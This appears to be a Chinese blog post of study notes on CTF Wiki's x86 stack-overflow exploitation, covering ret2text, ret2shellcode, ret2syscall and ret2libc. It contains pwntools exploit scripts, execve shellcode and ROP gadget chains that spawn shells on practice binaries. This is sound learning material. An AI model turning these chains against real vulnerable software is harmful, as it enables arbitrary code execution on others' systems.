CTFWiki_PWN_LinuxPlatform_UserMode_Exploitation_StackOverflow_x86

函数调用栈

先看这个文章学习函数调用栈

基本ROP

ret2text

出栈时RIP指向栈存放函数返回地址的位置,这个地址我们可以改为一个汇编指令的地址,RIP一直往后面指,以那个地址为起点一直往后执行

.text:0804862D                 call    ___isoc99_scanf
.text:08048632                 mov     eax, [ebp+input]
.text:08048635                 cmp     eax, [ebp+secretcode]
.text:08048638                 jnz     short locret_8048646
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system

把函数返回地址设为0804863A,会一直往后执行

.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system

ret2shellcode

把恶意汇编代码写到数组(代码块)里面,返回地址指向这个数组(代码块)首地址。
这个数组要可读写执行,全局变量(.bss)有这个特点
ljust() 用法

str = "this is string example....wow!!!";
print str.ljust(50, '0');
#ljust()返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。
#如果指定的长度小于原字符串的长度则返回原字符串。
#输出 this is string example....wow!!!000000000000000000

shellcraft.sh() 打印结果

    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016972
    xor ecx, ecx
    push ecx /* null terminate */
    push 4
    pop ecx
    add ecx, esp
    push ecx /* 'sh\x00' */
    mov ecx, esp
    xor edx, edx
    /* call execve() */
    push SYS_execve /* 0xb */
    pop eax
    int 0x80

计算偏移

disass main

反汇编 main 函数找到 main 的第一条指针所在的地址
在这里插入图片描述
在get函数下面的语句打断点

在这里插入图片描述

0xffffd038 - 0xffffcfcc + 0x4 = 112

exp.py

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
#asm()得到汇编码的机器代码
#shellcraft.sh()生成汇编代码shellcode
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))

sh.interactive()

不知道为什么会报错,后来看了一下,发现要写入shellcode的全局数组在不可执行段
这个方法应该是行不通了

ret2syscall

利用系统调用
该程序是 32 位,所以我们需要使得

系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0

设置寄存器的值,我们需要指令pop eax并且还要ret回栈继续下一个pop
使用命令查找

ROPgadget --binary xxx  --only 'pop|ret' | grep 'eax'

发现一个地址可以一次给三个寄存器赋值
在这里插入图片描述
查找’/bin/sh’字符串

ROPgadget --binary xxx  --string '/bin/sh' 

查找int 0x80

ROPgadget --binary xxx  --only 'int'

按照前面教程找偏移,用命令n一步步执行
在这里插入图片描述

0x98 - 0x2c + 0x4 = 112

exp.py

#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat([b'A'*112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
#!/usr/bin/env python
from pwn import *

r = process("./rop")

pop_eax_ret_addr = 0x080bb196
pop_edx_pop_ecx_pop_ebx_ret_addr = 0x0806eb90
bin_addr = 0x080be408
int_0x80_addr = 0x08049421

payload = b'A'*112 + p32(pop_eax_ret_addr) + p32(0xb) + p32(pop_edx_pop_ecx_pop_ebx_ret_addr) + p32(0) + p32(0) + p32(bin_addr) + p32(int_0x80_addr)

r.sendline(payload)
r.interactive()

ret2libc1

命令查找字符串'/bin/sh'

ROPgadget --binary ret2libc1 --string '/bin/sh'

在IDA里面查找.plt里面有没有system函数
如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址
因为之前ret2text、ret2shellcode是调用代码块,ret2syscall是进行系统调用,都不是正常的函数,调用ret2libc是正常的函数调用,所以根据函数调用栈的约定,要写返回地址,它在比参数地址小4(32位)的位置

ret2libc2

没有'/bin/sh',发现可以用plt中的gets()写入全局数组然后读取

from pwn import *

sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx_ret = 0x0804843d
buf2 = 0x0804A080
payload = flat(['a'*112, gets_plt, pop_ebx_ret, buf2, system_plt, 'aaaa', buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

gets_plt是gets()地址,pop_ebx_ret是返回地址,函数调用完后到pop_ebx_ret执行命令

0x0804843d : pop ebx ; ret

这里的地址把pop_ebx_ret弹出来,又ret让ip指向栈,进行指到system_plt,调用system()

ret2libc3

如hollk大佬所说

第二个payload用104个字节填满栈空间是因为第二次调用main函数的时候可能缺少了栈初始化的过程,第二次调用的时候并不是从一开始的OPE进入的,所以出现了少8位的情况,可以使用动态调试器修改内存地址进行调试计算

如果LibcSearcher报错:no matched libc,please add more libc or try others
要更新一下libc-database
具体看这篇文章
exp.py用Wiki里面的,用python2运行
第一次溢出用puts函数打印__libc_start_main在got中位置,用u32()转换为数字,[0:4]是为了去掉框出的前面的字符串
把地址保存在libc_start_main_addr变量里面,找libc版本,其他略

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 'a'*4, binsh_addr])
sh.sendline(payload)

sh.interactive()

运行后让我们从0、1中选一个,我选0,然后可以执行命令了
在这里插入图片描述

中级 ROP

ret2csu

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值